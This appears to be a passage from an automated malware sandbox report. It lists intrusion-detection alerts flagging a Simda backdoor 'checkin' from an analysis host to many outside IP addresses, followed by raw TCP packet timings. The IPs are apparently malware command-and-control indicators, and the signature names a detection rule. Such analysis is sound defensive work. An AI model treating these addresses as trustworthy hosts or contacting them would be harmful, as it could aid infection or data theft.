                                                                                                                                                                                                                    2024-11-11T18:50:07.212243+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450159208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.316382+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450159208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.509057+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450162188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.537489+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450163178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.610172+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45016423.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.633882+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450160154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:50:09.155304+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45016575.2.71.199443TCP
                                                                                                                                                                                                                    2024-11-11T18:50:09.156128+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450160154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:50:09.156796+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450166188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:50:09.593276+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450162188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:50:10.993605+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450167188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:50:11.824434+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450168188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:50:12.418471+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450169103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:50:13.495409+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450169103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:50:13.929799+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450170188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:50:14.324346+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450168188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:50:16.179771+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450172188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:50:16.732634+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45017376.223.67.18980TCP
                                                                                                                                                                                                                    2024-11-11T18:50:16.914158+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45017644.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:50:17.003716+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450174103.224.212.21080TCP
                                                                                                                                                                                                                    2024-11-11T18:50:17.178261+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450177103.224.182.25280TCP
                                                                                                                                                                                                                    2024-11-11T18:50:17.283219+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450175154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:50:18.116939+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450178154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:50:19.608996+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45018172.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:50:20.119910+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45018272.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:50:22.673817+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45963952.34.198.22980TCP

                                                                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                                                                    TCP Packets

                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.851277113 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.856251955 CET80497313.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.856307983 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.856730938 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.861594915 CET80497313.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.872359991 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.879044056 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.879098892 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.880984068 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.881164074 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.885960102 CET804973375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.886025906 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.886265039 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.891871929 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.896816015 CET804973375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.027293921 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.032244921 CET804973423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.032335997 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.032640934 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.037501097 CET804973423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.102021933 CET4973580192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.106879950 CET8049735178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.106966972 CET4973580192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.107060909 CET4973580192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.112073898 CET8049735178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.126337051 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.131146908 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.131222963 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.131571054 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.136409044 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.215929985 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.220794916 CET804973744.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.220866919 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.221009016 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.226012945 CET804973744.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.231982946 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.236927986 CET804973818.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.236985922 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.237143993 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.241908073 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.242094040 CET804973818.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.247967005 CET804973944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.248050928 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.252021074 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.256859064 CET804973944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.280462980 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.283157110 CET80497313.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.283217907 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.285322905 CET8049740199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.285382032 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.288130999 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.290137053 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.290182114 CET80497313.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.290541887 CET4973180192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.293019056 CET80497313.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.295053005 CET8049740199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.354079008 CET804973375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.354130983 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.354211092 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.359498978 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.359549999 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.359622002 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.360595942 CET804973375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.360642910 CET4973380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.373728991 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.373758078 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487137079 CET804973423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487164974 CET804973423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487198114 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487231970 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.488399982 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.488452911 CET4973480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.489695072 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.495143890 CET804974223.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.495210886 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.495357037 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.500349998 CET804974223.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.518896103 CET8049735178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.518965960 CET4973580192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.519077063 CET4973580192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.520159960 CET4974380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.523931026 CET8049735178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.524981022 CET8049743178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.525048018 CET4974380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.525233984 CET4974380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.530050039 CET8049743178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.577707052 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.577758074 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.579003096 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.583885908 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.642287970 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.642379999 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.642438889 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649399042 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649435043 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649501085 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649782896 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649797916 CET804973744.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649799109 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649858952 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.652160883 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.658250093 CET804973744.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.658325911 CET4973780192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.664666891 CET804973818.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.664725065 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.671690941 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.671786070 CET804973818.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.671837091 CET4973880192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.676151037 CET804973944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.676278114 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.676677942 CET804973818.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.678433895 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.683468103 CET804973944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.683480024 CET804973944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.683619022 CET4973980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.684959888 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.685013056 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713488102 CET8049740199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713542938 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713742018 CET8049740199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713788986 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.815126896 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.815222979 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.871172905 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.871191978 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.871530056 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.871589899 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.877105951 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.919336081 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.939385891 CET8049743178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.939502001 CET4974380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.939502001 CET4974380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.944422960 CET8049743178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.950676918 CET804974223.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.950751066 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.950989008 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.951011896 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.952462912 CET804974223.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.952531099 CET4974280192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.101685047 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.101733923 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.101768017 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.101784945 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.101965904 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.102030039 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.102144957 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.102698088 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.103142977 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.107479095 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.107707977 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.112381935 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.112397909 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.112658024 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.115216970 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.123641014 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.171330929 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.178426981 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.178756952 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.178900003 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.179105997 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180315971 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180350065 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180512905 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180520058 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180541039 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180579901 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180586100 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.180625916 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.181093931 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.181230068 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.181236029 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.183337927 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260215998 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260272980 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260416985 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260416985 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260432005 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.260817051 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261193037 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261225939 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261332035 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261358023 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261358023 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.261575937 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.262396097 CET49741443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.262418032 CET4434974175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.437820911 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.442687988 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.442894936 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.443171024 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.448148012 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076111078 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076168060 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076173067 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076186895 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076210976 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076235056 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076245070 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076273918 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076278925 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076287031 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076301098 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076325893 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076864958 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076896906 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076904058 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076931000 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076932907 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076941013 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076958895 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.076982975 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.094813108 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.094902039 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.094918966 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.094954967 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095074892 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095105886 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095112085 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095151901 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095431089 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095464945 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095472097 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095503092 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095510006 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095546961 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095936060 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095983982 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.095990896 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096023083 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096303940 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096348047 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096354961 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096389055 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096685886 CET44349744188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096767902 CET49744443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.096776009 CET44349744188.114.96.3192.168.2.4
